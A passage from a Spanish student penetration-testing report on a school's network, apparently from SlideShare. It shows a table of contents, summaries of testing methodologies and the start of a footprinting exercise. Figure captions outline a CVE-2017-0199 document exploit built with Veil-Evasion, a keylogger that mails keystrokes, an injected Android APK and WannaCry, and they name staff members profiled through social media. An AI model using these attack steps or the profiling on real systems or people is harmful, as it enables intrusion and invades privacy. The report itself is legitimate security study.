SlideShare una empresa de Scribd logo
1 de 94
Descargar para leer sin conexión
Hablemos de seguridad
Los inicios de un hacker
Kevin Rodríguez Lago
INS LES SALINES ASIX 2
1
2
1 Tabla de contenido
1 Tabla de contenido ....................................................................................................................2
2 Tabla de imágenes .....................................................................................................................6
3 Preámbulo.....................................................................................................................................9
4 Planificación...............................................................................................................................10
5 Objetivo........................................................................................................................................11
6 Metodologías para una buena Penetration Testing....................................................12
6.1 Open Source Security Testing Methodology Manual........................................12
6.1.1 Estándares de testeo seguridad.........................................................................13
6.1.1.1 Ciego.....................................................................................................................14
6.1.1.2 Doble Ciego........................................................................................................14
6.1.1.3 Caja Gris..............................................................................................................14
6.1.1.4 Doble Caja Gris.................................................................................................14
6.1.1.5 Tándem...............................................................................................................14
6.1.1.6 Reversal ..............................................................................................................14
6.1.2 Características clave y beneficios......................................................................14
6.2 Information Systems Security Assessment Framework..................................15
6.2.1 Características clave y beneficios......................................................................16
6.3 Open Web Application Security Project.................................................................17
6.3.1 Características clave y beneficios......................................................................18
6.4 Web Application Security Consortium Threat Classification ........................18
6.4.1 Vista de Enumeración............................................................................................19
6.4.2 Vista de desarrollo ..................................................................................................19
6.4.3 Taxonomy cross-reference view........................................................................20
6.4.4 Características clave y beneficios......................................................................20
6.5 Penetration Testing Execution Standard...............................................................21
6.5.1 Fases de una prueba de penetración................................................................21
3
6.5.1.1 Interacciones previas ....................................................................................21
6.5.1.2 Recolección de información........................................................................22
6.5.1.3 Modelado de amenaza...................................................................................22
6.5.1.4 Análisis de Vulnerabilidades ......................................................................22
6.5.1.5 Explotación........................................................................................................22
6.5.1.6 Post-explotación..............................................................................................22
6.5.1.7 Informe ...............................................................................................................22
7 Pruebas previas.........................................................................................................................23
7.1 FootPrinting......................................................................................................................23
7.1.1 Páginas Blancas / amarillas.................................................................................23
7.1.2 Google y otros buscadores...................................................................................26
7.1.3 Whois............................................................................................................................31
7.1.4 Redes Sociales...........................................................................................................33
7.1.5 NSlookup.....................................................................................................................37
8 Penetration testing en Windows........................................................................................38
8.1 Preparativos......................................................................................................................38
8.2 Modelado de la amenaza..............................................................................................38
8.3 Análisis de Vulnerabilidades y enumeración.......................................................39
8.3.1 Nmap ............................................................................................................................40
8.3.1.1 Evaluación del objetivo.................................................................................40
8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116........................41
8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116 .....................................42
8.3.1.1.3 Nmap -sN -T5 10.212.21.116................................................................43
8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116........................................................44
8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116 ..........................................45
8.3.2 Nessus..........................................................................................................................45
8.3.2.1 Evaluación del objetivo.................................................................................46
4
8.3.3 Smbclient ....................................................................................................................50
8.3.3.1 Evaluación del objetivo.................................................................................50
8.3.4 Hping3..........................................................................................................................50
8.3.4.1 Evaluación del objetivo.................................................................................51
8.3.5 DNSenum ....................................................................................................................51
8.3.5.1 Evaluación del objetivo.................................................................................52
8.3.6 PsTools.........................................................................................................................52
8.3.6.1 Evaluación del objetivo.................................................................................52
8.3.6.1.1 Psfile...............................................................................................................53
8.3.6.1.2 PsGetsid.........................................................................................................54
8.3.6.1.3 PsInfo .............................................................................................................54
8.3.6.1.4 PsList..............................................................................................................55
8.3.6.1.5 PsService.......................................................................................................55
8.4 Explotación........................................................................................................................55
8.4.1 Metasploit...................................................................................................................56
8.4.1.1 Edición Metasploit..........................................................................................56
8.4.1.2 Edición Community Metasploit.................................................................56
8.4.1.3 Metasploit express..........................................................................................56
8.4.1.4 Metasploit Pro..................................................................................................57
8.4.1.5 Armitage.............................................................................................................57
8.4.2 Veil.................................................................................................................................57
8.4.3 Prueba de explotación: CVE – 2017-0199......................................................57
8.4.4 EternalBlue y DoublePulsar.................................................................................64
8.5 Post-Explotación.............................................................................................................67
8.5.1 Ransomware Wannacry........................................................................................67
8.5.2 MS16-032....................................................................................................................71
9 Penetration Testing en Linux ..............................................................................................73
5
10 Conclusiones..........................................................................................................................74
11 Bibliografía.............................................................................................................................75
12 Anexos......................................................................................................................................77
12.1 Anexo A: Desarrollo de un Keylogger en C++ ....................................................77
12.1.1 Base64 .....................................................................................................................77
12.1.2 Helper ......................................................................................................................78
12.1.3 IO................................................................................................................................80
12.1.4 KeybHook...............................................................................................................82
12.1.5 KeyConstants ........................................................................................................84
12.1.6 SendMail .................................................................................................................85
12.1.7 Timer........................................................................................................................88
12.2 Anexo B: Inyección de código malicioso en .APK de Android .......................90
12.3 Anexo C: Extraer metadatos de una imagen.........................................................91
6
2 Tabla de imágenes
Imagen 4.1 Tempos ideales estimados......................................................................................10
Imagen 4.2 Tempos reales..............................................................................................................10
Imagen 7.1 Filtros Paginas Amarillas.........................................................................................24
Imagen 7.2 Resultados a la busqueda........................................................................................25
Imagen 7.3 Direccion erronea del resultado...........................................................................26
Imagen 7.4 Busqueda en Google..................................................................................................26
Imagen 7.5 Pagina principal del campus..................................................................................27
Imagen 7.6 Pagina principal del centro.....................................................................................28
Imagen 7.7 Pagina de Facebook...................................................................................................29
Imagen 7.8 Pagina de Twitter.......................................................................................................30
Imagen 7.9 Pagina de Instagram..................................................................................................30
Imagen 7.10 Informacion de contacto del centro..................................................................31
Imagen 7.11 Pagina de Whois.......................................................................................................32
Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois ............................33
Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois .....................33
Imagen 7.14 Perfiles de Facebook para Victor Lino.............................................................34
Imagen 7.15 Perfiles de LinkedIn Miguel Angel Noval........................................................35
Imagen 7.16 Perfil de Miguel Angel Noval Giralt...................................................................36
Imagen 7.17 Nuestras sospechas se terminan de confirmar............................................36
Imagen 7.18 Resultados NsLookup ............................................................................................37
Imagen 7.19 Resultados servidores MX NsLookup ..............................................................37
Imagen 8.1 Resultados prueba 1 NMAP....................................................................................41
Imagen 8.2 Resultados prueba 2 NMAP..................................................................................42
Imagen 8.3 Resultado prueba 3 NMAP......................................................................................43
Imagen 8.4 Resultado prueba 4 NMAP......................................................................................44
Imagen 8.5 Resultado prueba 5 NMAP......................................................................................45
Imagen 8.6 Pagina principal Nessus...........................................................................................46
Imagen 8.7 Configuracion del Advanced Scan........................................................................47
Imagen 8.8 Pantalla de estado de los Scans de Nessus .......................................................48
Imagen 8.9 Advanced Scan en funcionamiento......................................................................49
Imagen 8.10 Resultados de la prueba Nessus.........................................................................49
Imagen 8.11 Resultados del Null Session con smbclient....................................................50
7
Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3 ......51
Imagen 8.13 Resultados DNSEnum ............................................................................................52
Imagen 8.14 Prueba PsTools: Psfile............................................................................................53
Imagen 8.15 Prueba PsTools: Psfile64 ......................................................................................53
Imagen 8.16 Prueba PsTools: PsGetsId.....................................................................................54
Imagen 8.17 Prueba PsTools: PsInfo..........................................................................................54
Imagen 8.18 Prueba PsTools: PsList ..........................................................................................55
Imagen 8.19 Prueba PsTools: PsService ...................................................................................55
Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html....................57
Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil-
evassion.................................................................................................................................................58
Imagen 8.22 Nombre del payload ...............................................................................................59
Imagen 8.23 Obfuscación del payload .......................................................................................59
Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter ............60
Imagen 8.25 Insertamos el objeto...............................................................................................60
Imagen 8.26 Elegimos el documento a insertar.....................................................................61
Imagen 8.27 Guardamos el documento en formato RTF....................................................61
Imagen 8.28 Abrimos el documento RTF con el bloc de notas ........................................62
Imagen 8.29 Buscamos la palabra clave ‘obj’..........................................................................62
Imagen 8.30 Buscamos la palabra clave ‘obj’..........................................................................62
Imagen 8.31 Entre object y objautlink añadimos objupdate.....................................62
Imagen 8.32 Descargamos htattack............................................................................................63
Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack....................................63
Imagen 8.34 Inicamos el handler para permanecer a la escucha ...................................63
Imagen 8.35 Descargamos el ransomware..............................................................................68
Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por
wannacry.exe.......................................................................................................................................68
Imagen 8.37 Archivos creados por wannacry al ejecutarse..............................................68
Imagen 8.38 Continuan creandose archivos ...........................................................................69
Imagen 8.39 Archivos cifrados por wannacry........................................................................70
Imagen 8.40 Cambio de fondo automatico por wannacry.................................................70
Imagen 8.41 Aviso de peticion de pago de wannacry..........................................................71
Imagen 8.42 Ciframiento de archivos en la carpeta compartida.....................................71
8
Imagen 12.1 Base64 Parte 1..........................................................................................................78
Imagen 12.2 Base64 Parte 2..........................................................................................................78
Imagen 12.3 Helper Parte 1...........................................................................................................79
Imagen 12.4 Helper Parte 2...........................................................................................................80
Imagen 12.5 Helper Parte 3...........................................................................................................80
Imagen 12.6 IO Parte 1 ....................................................................................................................81
Imagen 12.7 IO Parte 2 ....................................................................................................................82
Imagen 12.8 KeybHook Parte 1....................................................................................................83
Imagen 12.9 KeybHook Parte 2...................................................................................................83
Imagen 12.10 KeybHook Parte 3.................................................................................................84
Imagen 12.11 KeybHook Parte 4.................................................................................................84
Imagen 12.12 KeyConstants..........................................................................................................85
Imagen 12.13 SendMail Parte 1 ...................................................................................................86
Imagen 12.14 SendMail Parte 2 ...................................................................................................86
Imagen 12.15 SendMail Parte 3 ...................................................................................................87
Imagen 12.16 SendMail Parte 4 ...................................................................................................87
Imagen 12.17 SendMail Parte 5 ...................................................................................................88
Imagen 12.18 Timer Parte 1..........................................................................................................88
Imagen 12.19 Timer parte 2..........................................................................................................89
Imagen 12.20 Timer Parte 3..........................................................................................................89
Imagen 12.21 Decompilacion de com.whatsapp.apk...........................................................90
Imagen 12.22 Permisos requeridos por el payload..............................................................91
Imagen 12.23 Extractor de metadatos en Python.................................................................92
9
3 Preámbulo
Vivimos llenos de miedos e inquietudes, informáticamente hablando, pues raro es el
día que no oímos hablar de ataques informáticos, virus, troyanos, agujeros de
seguridad, DDoS (por sus siglas en inglés, Distributed Denial of Service). Estos
miedos, nos llevan a usar cientos de sistemas (antivirus, firewall, complementos
para el navegador, políticas de navegación, etc.) que intentan evitar que seamos
victimas de algunos de estos casos. Todos estos miedos tienen una supuesta
explicación, queremos mantener nuestra privacidad, información y seguridad, y la
de nuestros dispositivos, a salvo. Estamos de acuerdo en que proteger nuestra
información, privacidad y seguridad es clave para mantener nuestras empresas, a
nivel colectivo, y nuestras libertades sociales e individuales. Habrá quien se
pregunte, ¿Son necesarios todos estos sistemas para garantizar la seguridad de
nuestra información y nuestra privacidad? ¿Son realmente funcionales dichos
sistemas?
10
4 Planificación
Debido a diversas causas no planificadas y errores inesperados he tenido que
readaptar los tiempos del proyecto a medida que me iban surgiendo dichas cosas.
Gantt Estimado:
Imagen 4.1 Tempos ideales estimados
Gantt Real:
Imagen 4.2 Tempos reales
11
5 Objetivo
Los objetivos de este proyecto son:
- Realizar una prueba de penetración en sistemas Windows para estudiar la
seguridad otorgada por los mismos. La cual constará de las siguientes partes:
• Modelado de Amenaza
• Análisis de Vulnerabilidades y enumeración
• Explotación
• Post-Explotación
- Realizar una prueba de penetración en sistemas Linux virtualizados
12
6 Metodologías para una buena Penetration Testing
Para una buena evaluación de la seguridad de los diferentes sistemas fueron creadas
varias metodologías de código abierto. Usando estas metodologías de evaluación se
pueden cumplir con los plazos críticos de tiempo y desafiar cualquier sistema de
seguridad independientemente de su tamaño o complejidad. Algunas metodologías
se centran en los aspectos técnicos de las pruebas de seguridad mientras que otros
se centran en los criterios gerenciales y unos pocos se centran en ambas cosas. La
idea básica detrás de realizar estas metodologías con las evaluaciones es ejecutar
diferentes tipos de test paso a paso en orden para de manera precisa juzgar la
seguridad de un sistema.
Por lo tanto, se introducirán varias metodologías de evaluación de la seguridad bien
conocidas que nos proporcionarán una visión extendida de las evaluaciones de red
y aplicaciones de seguridad destacando sus principales características y beneficios.
Las metodologías que incluiremos son las siguientes:
• Open Source Security Testing Methodology Manual
• Information System Security Assessment Framework
• Open Web Application Security Project Testing Guide
• Web Application Security Consortium Threat Classification
• Penetration Testing Execution Standard
6.1 Open Source Security Testing Methodology Manual
OSSTMM es un standard con reconocimiento internacional creado por Pete Herzog
y desarrollado por ISECOM para análisis y pruebas de seguridad. Es usado por
diversas organizaciones en sus evaluaciones del día a día. Desde una perspectiva
técnica, esta técnica está dividida en 4 grupos clave: alcance, canal, índice y vector.
El alcance define un proceso de recolecta de información en todos los bienes en el
ambiente objetivo. El canal determina el tipo de comunicación e interacción que
habrá con los bienes los cuales pueden ser físicos, espectros y comunicativos. Todos
estos canales representan un único set de los componentes de seguridad y deben ser
testeados y verificados durante el periodo de evaluación. En estos componentes
estarían comprendidos la seguridad física, la psicología humana, la información de
13
la red los medios de comunicación Wireless y las telecomunicaciones. El índice es
un método para clasificar bienes objetivo que se corresponde con sus particulares
identificaciones como la dirección MAC o la dirección IP. El vector concluye en qué
dirección puede el auditor evaluar y analizar cada bien funcional. Todo el proceso
inicia un mapa de ruta que evalúa el entorno objetivo a fondo y es conocido como
auditoria de alcance.
El marco de referencia provisto en evaluaciones técnicas por OSSTMM es flexible y
capaz de derivar ciertos casos en cinco componentes de seguridad con sus tres
canales consecutivos. Estas pruebas generalmente examinan el objetivo evaluando
sus controles de acceso, procesos de seguridad, controles de información,
localizaciones físicas, protección de los perímetros, el nivel de conciencia de
seguridad, nivel de confianza, control de protección de fraude, y otros
procedimientos. Todos los procedimientos de ensayo ponen el foco en lo que hay
que testear, como ha de ser testeado, que tácticas han de ser aplicadas antes, durante
y después del test y como interpretar y correlacionar los resultados finales. Capturar
el estado actual de la protección del objetivo es muy útil e inestimable. Para poner
solución, la metodología OSSTMM ha introducido el termino RAV (Risk Assessment
Values, por sus siglas en ingles). La función básica del RAV es analizar los resultados
de las pruebas y computar el valor actual de la seguridad basado en tres factores,
seguridad operacional, pérdida de control y limitaciones. El resultado final es
conocido como RAV score. Desde el punto de vista empresarial, el RAV score, ayuda
a optimizar y justificar las inversiones en medidas de seguridad.
6.1.1 Estándares de testeo seguridad
Hay diferentes formas de testear la seguridad que han sido clasificadas bajo la
metodología OSSTMM y sus organizaciones la presentas bajo seis tipos de
estándares de testeo de seguridad:
• Ciego
• Doble Ciego
• Caja gris
• Doble Caja Gris
• Tándem
• Reversal
14
6.1.1.1 Ciego
La prueba ciega no requiere ningún conocimiento previo acerca del objetivo. Sin
embargo, el objetivo es informado antes de la ejecución de una auditoria de alcance.
El Hacking Ético y los juegos de guerra son ejemplos de este tipo de prueba.
6.1.1.2 Doble Ciego
En el Doble Ciego, ningún auditor requiere información previa sobre el objetivo,
pero el objetivo tampoco es informado con anterioridad a la prueba. Las auditorias
de Caja Negra y las pruebas de penetración son ejemplos de Doble Ciego. Al ser la
auditoria que más se acerca a los casos reales, esta es la más usada a día de hoy
porque obliga a usar la mejor variedad de herramientas y técnicas para alcanzar el
objetivo requerido.
6.1.1.3 Caja Gris
Aquí el auditor tiene información limitada acerca del objetivo y el objetivo además
es informado con anterioridad a la ejecución de la prueba. La evaluación de
vulnerabilidades es uno de los ejemplos básicos de Caja Gris.
6.1.1.4 Doble Caja Gris
La Doble Caja Gris es similar a la anterior (Caja Gris) solo que hay un periodo de
tiempo limitado para la auditoria y no hay canales o vectores probados. Las pruebas
de Caja Blanca son un ejemplo de Doble Caja Gris.
6.1.1.5 Tándem
En este estándar, el auditor tiene la mínima información del objetivo y además, el
objetivo es informado con anterior a la ejecución de la prueba.
6.1.1.6 Reversal
Para finalizar, en Reversal, el auditor, tiene toda la información sobre el objetivo,
pero el objetivo no será nunca informado sobre cómo y cuándo se realizará el test.
6.1.2 Características clave y beneficios
• Practicar la metodología OSSTMM ayuda a reducir los casos de falso negativo
y falso positivo y provee mediciones de seguridad reproducibles.
• El marco de referencia es adaptable a diversos tipos de pruebas de
seguridad, como Penetration Testing, auditoria de Caja Blanca, etcétera.
15
• Asegura que la evaluación será llevada a cabo a fondo y resultados recogidos
serán consistentes, cuantificables y de confianza.
• La metodología por sí sola, sigue el proceso de cuatro fases individualmente
conectadas: fase de definición, fase de información, fase de regulación y de
control de pruebas. Cada una de estas, obtiene, evalúa y verifica la
información respecto al entorno objetivo.
• RAV calcula el valor actual de seguridad basado en seguridad operativa,
pérdida de control, y limitaciones. El resultado, conocido como RAV score,
representa el estado actual de la seguridad del objetivo.
• Formalizando la evaluación mediante el uso del modelo de Security Test
Audit Report (STAR) puede ser una ventaja para la gestión, así como de la
gestión del equipo técnico mientras se revisan las pruebas de los objetivos,
el valor de evaluación de los objetivos y el resultado del test de cada fase.
• La metodología es actualizada regularmente con nuevas tendencias de
seguridad, normativas y planteamientos éticos.
• El proceso OSSTMM puede ser coordinado con las regulaciones de la
industria, las políticas empresariales, y las legislaciones gubernamentales.
Adicionalmente, un auditor certificado puede ser elegible para acreditación
desde el ISECOM (Institute for Security and Open Methodologies)
directamente.
6.2 Information Systems Security Assessment Framework
ISSAF es otro marco de referencia de código abierto para el análisis y las pruebas de
seguridad. Integrando este marco en un ciclo de vida empresarial regular, proveerá
precisión, integridad y eficiencia requerida para cumplir con los requisitos de
seguridad de una organización. ISSAF fue desarrollado para centrarse en dos áreas
de testeo de seguridad – técnica y de gestión. La parte técnica establece el conjunto
16
básico de reglas y procedimientos a seguir y crear un adecuado proceso de
evaluación de la seguridad, mientras que el lado de la gestión logra el compromiso
con administración y las mejores prácticas que deben ser seguidas en todo el
proceso de pruebas. ISSAF define la evaluación como un proceso en una auditoria.
Dado que la auditoría exige que un órgano más establecido proclame los estándares
necesarios, su marco de evaluación incluye la planificación, la evaluación, el
tratamiento, acreditación y mantenimiento. Cada una de estas fases contiene
directrices genéricas que son eficaces y flexibles para cualquier estructura
organizativa.
El resultado es una combinación de actividades operativas, iniciativas de seguridad
y una lista completa de vulnerabilidades que podrían existir en el entorno de
destino.
El proceso de evaluación elige el camino más corto para alcanzar el plazo de prueba
analizando su objetivo frente a vulnerabilidades críticas que pueden ser explotadas
con el mínimo esfuerzo.
ISSAF contiene un rico conjunto de bases de referencia de evaluación técnica para
probar el número de diferentes tecnologías y procesos. Sin embargo, esto ha
introducido otro problema de mantenimiento para mantener la actualización del
marco para reflejar criterios de evaluación de tecnología nuevos o actualizados. En
comparación con la metodología OSSTMM, estos problemas de obsolescencia
afectan menos al OSSTMM, ya que el auditor puede utilizar la misma metodología
sobre el número de compromisos de seguridad utilizando un conjunto diferente de
herramientas y técnicas. Por otra parte, la ISSAF también pretende ser un marco
amplio con información actualizada sobre herramientas de seguridad, mejores
prácticas y asuntos administrativos para complementar el programa de evaluación
de seguridad. También se puede alinear con OSSTMM o cualquier otra metodología
de prueba similar, combinando así las fuerzas de cada uno.
6.2.1 Características clave y beneficios
• ISSAF le ofrece una propuesta de alto valor para asegurar la infraestructura
mediante la evaluación de los controles de seguridad existentes contra
vulnerabilidades críticas.
17
• Aborda diferentes áreas clave de la seguridad de la información. Estos
incluyen la evaluación de riesgos, la estructura y gestión empresarial, la
evaluación de controles, la gestión del compromiso, el desarrollo de políticas
de seguridad y las mejores prácticas generales.
• La metodología de pruebas de penetración de ISSAF examina la seguridad de
una red, sistema o aplicación. El marco puede centrarse de forma
transparente en tecnología específica de objetivos que puede incluir routers,
conmutadores, firewalls, sistemas de detección y prevención de intrusos,
redes de área de almacenamiento, redes privadas virtuales, diversos
sistemas operativos, servidores de aplicaciones web, bases de datos, etc.
• Convierte la brecha entre la visión técnica y de gestión de las pruebas de
seguridad mediante la implementación de los controles necesarios para
manejar ambas áreas.
• Permite a la administración entender los riesgos existentes que flotan sobre
las defensas perimetrales de una organización y las reduce de manera
proactiva identificando las vulnerabilidades que pueden afectar la integridad
del negocio.
6.3 Open Web Application Security Project
El proyecto Top 10 de OWASP clasifica los riesgos de seguridad de la aplicación. Los
principales vectores de ataque y debilidades de seguridad en relación con su
impacto en los negocios. Al evaluar la aplicación, cada uno de estos riesgos
demuestra un método de ataque genérico que es independiente de la tecnología o
plataforma que se utiliza. También le proporciona instrucciones específicas sobre
cómo probar, verificar y remediar cada parte vulnerable de una aplicación. El
OWASP top 10 se centra principalmente en las áreas problemáticas de alto riesgo en
lugar de abordar todas las cuestiones que rodean la seguridad de la aplicación web.
18
6.3.1 Características clave y beneficios
• La prueba de las aplicaciones web frente a los 10 principales riesgos de
seguridad de OWASP asegura que se evitan los ataques y debilidades más
comunes y se mantiene la confidencialidad, integridad y disponibilidad de
una aplicación.
• La comunidad OWASP ha desarrollado una serie de herramientas de
seguridad que se centran en las pruebas de aplicaciones web automatizadas
y manuales. Algunas de estas herramientas son WebScarab, Wapiti, JBroFuzz
y SQLiX, que también están disponibles bajo el sistema operativo Kali Linux.
• Al considerar la evaluación de la seguridad de la infraestructura web, la Guía
de Pruebas de OWASP le proporciona detalles de evaluación específicos de la
tecnología; por ejemplo, la prueba de Oracle se aborda de forma diferente a
MySQL. Dicha guía le proporciona una visión más amplia y más colaborativa
de múltiples tecnologías, lo que ayuda a un auditor a elegir el procedimiento
más adecuado para las pruebas.
• Alienta las prácticas de codificación segura para los desarrolladores
mediante la integración de pruebas de seguridad en cada etapa del
desarrollo. Esto asegurará que la aplicación de producción es robusta, libre
de errores y segura.
• Proporciona aceptación y visibilidad en toda la industria. Los diez principales
riesgos de seguridad también pueden alinearse con otros estándares de
evaluación de seguridad de aplicaciones web, lo que le ayuda a lograr más de
un estándar a la vez con un poco más de esfuerzo.
6.4 Web Application Security Consortium Threat Classification
La identificación de los riesgos de seguridad de la aplicación requiere un riguroso y
riguroso procedimiento de prueba, que puede seguirse a lo largo del ciclo de vida
del desarrollo. La clasificación de amenazas WASC es otro estándar abierto para
evaluar la seguridad de las aplicaciones web. Al igual que el estándar OWASP,
también se clasifica en una serie de ataques y debilidades, pero los aborda de una
19
manera mucho más profunda. La práctica de este arte negro para la identificación y
verificación de las amenazas que se ciernen sobre la aplicación web requiere una
terminología estándar que debe seguirse, que puede adaptarse rápidamente al
entorno tecnológico. Aquí es donde el WASC-TC viene en muy práctico. El estándar
general se presenta en tres vistas diferentes para ayudar a los desarrolladores y
auditores de seguridad a comprender la visión de las amenazas de seguridad de
aplicaciones web:
• Vista de Enumeración
• Vista de desarrollo
• Taxonomy cross-reference view
6.4.1 Vista de Enumeración
Esta vista está dedicada a proporcionar la base para ataques y debilidades de
aplicaciones web. Cada uno de estos ataques y debilidades se han discutido
individualmente con su definición concisa, tipo y ejemplos de plataformas de
programación múltiples. Además, está en línea con su identificador único,
que puede ser útil para la referencia. Un total de 49 ataques y debilidades se
clasifican con un número WASC-ID estático (1 a 49). Tenga en cuenta que
esta representación numérica no se centra en la gravedad del riesgo, sino que
sirve al propósito de hacer referencia en su lugar
6.4.2 Vista de desarrollo
La vista de desarrollo lleva el panorama del desarrollador al combinar el
conjunto de ataques y debilidades en vulnerabilidades, que probablemente
se producirán en cualquiera de las tres fases de desarrollo consecutivas. Esto
podría ser una fase de diseño, implementación o despliegue. Las
vulnerabilidades de diseño se introducen cuando los requisitos de la
aplicación no cumplen la seguridad en la etapa inicial de recopilación de
requisitos. Las vulnerabilidades de implementación se producen debido a
principios y prácticas de codificación inseguras. Las vulnerabilidades de
implementación son el resultado de la configuración incorrecta de la
aplicación, del servidor web y de otros sistemas externos. Así, la visión
20
amplía el alcance de su integración en un ciclo de vida de desarrollo regular
como parte de las mejores prácticas.
6.4.3 Taxonomy cross-reference view
Referirse a una vista de referencias cruzadas de múltiples estándares de
seguridad de aplicaciones web puede ayudar a auditores y desarrolladores a
mapear la terminología presentada en un estándar con otro. Con un poco más
de esfuerzo, la misma instalación también puede ayudarle a lograr múltiples
conformidades estándar al mismo tiempo. Sin embargo, el estándar de
seguridad de cada aplicación define criterios propios para evaluar las
aplicaciones desde diferentes ángulos y mide sus riesgos asociados en
general. Por lo tanto, cada norma requiere diferentes esfuerzos para
aumentar el cálculo de los riesgos y sus niveles de gravedad. Los ataques y
debilidades de WASC-TC presentados en esta categoría son mapeados con el
top 10 de OWASP, la Enumeración de Debilidad Común de Mitre (CWE), la
Enumeración y Clasificación de Patrón de Ataque Común de Mitre (CAPEC) y
la lista de top 25 de SANS-CWE.
6.4.4 Características clave y beneficios
• WASC-TC le proporciona un conocimiento profundo para evaluar el entorno
de aplicaciones web frente a los ataques y debilidades más comunes.
• Los ataques y debilidades presentados por WASC-TC pueden usarse para
probar y verificar cualquier plataforma de aplicaciones web usando una
combinación de herramientas del sistema operativo Kali Linux.
• La norma le proporciona tres puntos de vista diferentes, a saber,
enumeración, desarrollo y referencia cruzada. La enumeración sirve como
una base para todos los ataques y debilidades que se encuentran en las
aplicaciones web. La visión de desarrollo combina estos ataques y
debilidades en vulnerabilidades y los categoriza según su ocurrencia en la
fase de desarrollo relativo. Esto podría ser una fase de diseño,
21
implementación o despliegue. La vista de referencias cruzadas sirve para
referenciar otros estándares de seguridad de aplicaciones con WASC-TC.
• WASC-TC ya ha adquirido aceptación a nivel de industria y su integración se
puede encontrar en muchas soluciones de código abierto y comerciales, en
su mayoría en evaluación de vulnerabilidad y productos de gestión.
• También puede alinearse con otros estándares de seguridad de aplicaciones
bien conocidos, como OWASP y SANS-CWE.
6.5 Penetration Testing Execution Standard
El Penetration Testing Execution Standard (PTES) fue creado por algunas de las
mentes más brillantes y expertos definitivos en la industria de pruebas de
penetración. Consiste en siete fases de pruebas de penetración y puede utilizarse
para realizar una prueba de penetración efectiva en cualquier entorno.
6.5.1 Fases de una prueba de penetración
Una prueba de penetración o Pentest se basa en 7 fases y diversas subfases,
dependiendo de la seguridad y las capacidades de penetración del mismo. Las fases
son las siguientes:
1. Interacciones previas
2. Recolección de Información
3. Modelado de amenaza
4. Análisis de vulnerabilidades
5. Explotación
6. Post-Explotación
7. Informe
6.5.1.1 Interacciones previas
Se refiere a la negociación o acuerdo durante la cual se definirán los puntos y la
profundidad a evaluar, las fechas de la evaluación, la Carta Blanca, entre otros.
22
6.5.1.2 Recolección de información
Es aquella en la que el ataque se dedicará a obtener y recopilar toda la información
posible sobre el objetivo. En esta fase se encuentran la subfase de FootPrinting. Aquí
nos encargaremos, por ejemplo, de encontrar información DNS, Whois, RRSS, etc.
También será el lugar donde llevaremos a cabo los ataques de Ingeniería Social.
6.5.1.3 Modelado de amenaza
Se analizan los planes de contingencia, así como el equipo técnico, las instalaciones
(redes, hardware y software), así como las herramientas, exploits y payloads
disponibles para analizar la efectividad de las diversas vías de ataque disponibles.
6.5.1.4 Análisis de Vulnerabilidades
En esta fase, con los datos recogidos en la fase anterior, se buscan las posibles vías y
métodos de ataque, conocidos como FingerPrinting (Scanning y Enumeración) así
como información sobre usuarios, nombres de equipos, etc.
6.5.1.5 Explotación
Ponemos las herramientas a atacar a las vulnerabilidades detectadas para
comprometer el sistema y obtener acceso.
6.5.1.6 Post-explotación
Es aquella donde se persigue obtener acceso al sistema de manera perdurable en el
tiempo de manera que podamos realizar en un tiempo indeterminado el ataque a las
vulnerabilidades detectadas. También es el momento en el que se inyecta código
malicioso (troyanos, Keyloggers, Virus, worms, etc.) en la/s maquina/s objetivo.
6.5.1.7 Informe
Tras la evaluación, con las pruebas recogidas y los test realizados, se procede a
analizar los resultados para dar un veredicto final sobre el estado de la seguridad,
en los ámbitos analizados.
23
7 Pruebas previas
Como, durante nuestras pruebas, los sistemas a analizar no están disponibles en
internet, no son accesibles a las arañas de crawling de los buscadores, no podremos
realizar o buscar información sobre los objetivos más allá de la ya conocida y no
obtendremos toda la información que podríamos obtener de un objetivo de una
empresa, realizaremos esas pruebas suponiendo que el objetivo inicial es el INS
Ribera Baixa Seu II. Se supone, que en un principio, como papel de atacante externo,
del INS Ribera Baixa Seu II / INS Les Salines, sabemos exclusivamente su nombre y
que es un centro de El Prat de Llobregat.
7.1 FootPrinting
Tenemos diversas fórmulas y “ataques” para llevar a cabo la recolección de
información o footprinting. Las más usuales son:
- Páginas Blancas / amarillas
- Google y otros buscadores
- Whois
- Redes Sociales
- Nslookup
Esto nos dará una idea del objetivo, la persona o personas que lo dirigen, las
personas que se encargan de las aplicaciones web, etc.
7.1.1 Páginas Blancas / amarillas
Con esta búsqueda, obtendremos información básica de localización y teléfono.
Como se trata de una institución y/o empresa, en esta ocasión, nos decantaremos
por las Páginas Amarillas, aunque puede que más adelante, nos decantemos también
por las Páginas Blancas.
24
Como podemos observar en las imágenes 6.1 y 6.2, no aparecen resultados para
Ribera Baixa en la provincia de Barcelona. Probaremos a continuación con el
nombre Les Salines.
Imagen 7.1 Filtros Paginas Amarillas
25
Imagen 7.2 Resultados a la busqueda
Nos ha salido un resultado (imagen 6.3) pero todo apunta a que no es lo que estamos
buscando. Así podemos dar por concluida la búsqueda en esta página.
26
Imagen 7.3 Direccion erronea del resultado
7.1.2 Google y otros buscadores
Aquí, nos dedicaremos simplemente a buscar sobre la institución y/o empresa que
representa el INS Ribera Baixa Seu II / INS Les Salines en los diversos buscadores de
internet. Haremos la prueba en los buscadores más populares
Imagen 7.4 Busqueda en Google
El resultado de Google otorga datos bastante interesantes. Por un lado, tenemos la
página del Institut Les Salines, que en su descripción menciona que es el Institut
Ribera Baixa II. Además, aparece la página de un campus virtual de un instituto de
27
mismo nombre al buscado. Analizaremos la web para saber si se trata de nuestro
objetivo o no. También se ve el inicio de un mapa de Google Maps de el Prat de
Llobregat donde aparece marcado nuestro objetivo.
Imagen 7.5 Pagina principal del campus
Si visitamos la página web del campus apenas encontramos información que nos
permita deducir si es o no el centro en el que estábamos interesados, pero si nos
dirigimos a la parte superior de la página y pulsamos donde pone “Obrir Incidencia
TIC”, automáticamente nos redirige a la página del centro que decía ser el Institut
Ribera Baixa II.
28
Imagen 7.6 Página principal del centro
